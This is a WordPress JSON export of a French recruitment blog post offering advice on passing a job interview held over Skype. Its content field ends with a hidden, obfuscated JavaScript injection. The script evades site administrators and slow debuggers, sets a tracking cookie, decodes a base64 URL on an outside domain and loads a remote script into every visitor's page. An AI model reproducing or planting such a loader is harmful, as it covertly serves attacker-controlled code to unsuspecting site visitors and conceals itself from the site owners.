{"id":1605,"date":"2013-12-21T17:51:06","date_gmt":"2013-12-21T16:51:06","guid":{"rendered":"http:\/\/macarons.intuition-web.com\/?p=1605"},"modified":"2026-05-18T08:53:49","modified_gmt":"2026-05-18T08:53:49","slug":"les-cles-de-lemploi-reussir-son-entretien-par-skype","status":"publish","type":"post","link":"https:\/\/www.macarons-recrutement.com\/en\/les-cles-de-lemploi-reussir-son-entretien-par-skype\/","title":{"rendered":"Les cl\u00e9s de l&#8217;emploi : R\u00e9ussir son entretien par Skype"},"content":{"rendered":"<p>vendredi 20 d\u00e9cembre 2013 12:24<\/p>\n<p>De plus en plus de recruteurs utilisent la visioconf\u00e9rence pour effectuer leurs entretiens de pr\u00e9s\u00e9lection. Ce rendez-vous tr\u00e8s formel comporte des particularit\u00e9s. Pour mettre toutes les chances de son c\u00f4t\u00e9, le candidat doit s&#8217;y adapter.<\/p>\n<p>Le logiciel gratuit de visioconf\u00e9rence Skype est devenu, ces derni\u00e8res ann\u00e9es, un outil de s\u00e9lection pl\u00e9biscit\u00e9 par de nombreux recruteurs. Que ce soit dans le cadre de grandes campagnes de recrutement afin de d\u00e9partager les premiers candidats ou pour une entreprise implant\u00e9e \u00e0 l&#8217;\u00e9tranger ou en province, cette technique plus souple offre une alternative aux entretiens classiques. Mais il faut tenir compte de la distance et de la technologie. Les conditions tr\u00e8s diff\u00e9rentes impliquent de nouvelles r\u00e8gles. M\u00eame si le candidat est le plus souvent chez lui, il ne faut surtout pas consid\u00e9rer cet entretien comme moins formel ou plus d\u00e9contract\u00e9. En effet, il s&#8217;agit d&#8217;une pr\u00e9s\u00e9lection dont enjeux ne sont pas n\u00e9gligeables. Pour les grandes entreprises, la rencontre via Skype sert de filtre et, sur une centaine de candidats, seuls une petite dizaine seront retenus pour l&#8217;entretien final. Pour des postes \u00e0 l&#8217;\u00e9tranger ou en province, l&#8217;int\u00e9gralit\u00e9 du processus de recrutement peut se d\u00e9rouler via Skype. Voici donc quelques pr\u00e9cautions \u00e0 prendre et des conseils pour r\u00e9ussir son entretien :<\/p>\n<p>\u2022 Installer le d\u00e9cor : il est important de pr\u00e9voir une pi\u00e8ce tranquille dans laquelle vous pourrez vous isoler. Votre entourage doit \u00eatre pr\u00e9venu de l&#8217;heure et de la dur\u00e9e approximative de l&#8217;entretien avec comme consigne de ne pas vous d\u00e9ranger. Soyez vigilant \u00e0 ce que l&#8217;on peut voir derri\u00e8re vous. Enlevez tout ce qui est trop personnel, rangez et rendez ainsi l&#8217;environnement visible par la vid\u00e9o le plus neutre possible. Autre d\u00e9tail important : veillez \u00e0 ne pas \u00eatre en contre-jour. La source de lumi\u00e8re doit \u00eatre face \u00e0 vous (fen\u00eatre ou lampe).<\/p>\n<p>\u2022 R\u00e9aliser des essais techniques : il faut se pr\u00e9munir des caprices de la technologie. Skype est le logiciel le plus utilis\u00e9 pour les visioconf\u00e9rences, mais la communication peut parfois \u00eatre mauvaise ou la connexion internet moins performante. Faites un test avant l&#8217;entretien pour v\u00e9rifier. Assurez-vous \u00e9galement que votre mat\u00e9riel, micro et webcam, fonctionne bien, que votre logiciel est bien install\u00e9 et que vous disposez d&#8217;assez de batterie. L&#8217;id\u00e9al est de vous entra\u00eener dans les conditions r\u00e9elles avec un proche, la veille ou quelques heures avant l&#8217;entretien.<\/p>\n<p>\u2022 Se pr\u00e9parer : faites exactement comme si vous alliez \u00e0 un rendez-vous en face-\u00e0-face. Les r\u00e8gles vestimentaires doivent rester adapt\u00e9es au poste auquel vous postulez m\u00eame si votre interlocuteur ne peut pas vous voir de pied en cap. Prenez \u00e9galement vingt minutes pour vous concentrer et vous remettre dans le contexte. Repensez aux questions r\u00e9currentes des recruteurs et \u00e0 votre argumentaire.<\/p>\n<p>\u2022 Soigner l&#8217;attitude : vous \u00eates en place et l&#8217;entretien par Skype va commencer. Une des erreurs les plus courantes consiste \u00e0 ne pas regarder son interlocuteur dans les yeux. Les candidats ont en effet tendance \u00e0 fixer l&#8217;\u00e9cran au lieu de se concentrer sur la webcam. Une fois ce r\u00e9flexe pris, pensez \u00e0 sourire. Le son n&#8217;\u00e9tant pas toujours parfait, prenez soin de bien articuler, de poser votre voix, de ralentir votre d\u00e9bit et veillez \u00e0 ne pas interrompre le recruteur. Enfin, il ne faut pas trop gesticuler. Cela passe mal \u00e0 l&#8217;image.<\/p>\n<p>\u2022 Astuce : avec Skype, on peut garder sous les yeux des documents utiles \u00e0 l&#8217;entretien tout en restant spontan\u00e9. Placez devant vous l&#8217;offre d&#8217;emploi, votre lettre de motivation et votre C.V. Cela permet de rester coh\u00e9rent et de ne rien oublier. Mieux, si vous \u00eates \u00e0 l&#8217;aise avec la technologie, divisez votre \u00e9cran et ouvrez une fen\u00eatre avec un fichier texte (type Word) contenant vos trois arguments forts. Dans tous les cas, n&#8217;oubliez pas de rester en contact visuel avec votre interlocuteur. Contentez-vous de jeter un oeil \u00e0 vos notes de temps en temps sans donner l&#8217;impression que vous lisez un texte. Enfin, pensez \u00e0 couper le portable et les alertes sonores des r\u00e9seaux sociaux ou des e-mails.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>vendredi 20 d\u00e9cembre 2013 12:24 De plus en plus de recruteurs utilisent la visioconf\u00e9rence pour effectuer leurs entretiens de pr\u00e9s\u00e9lection. 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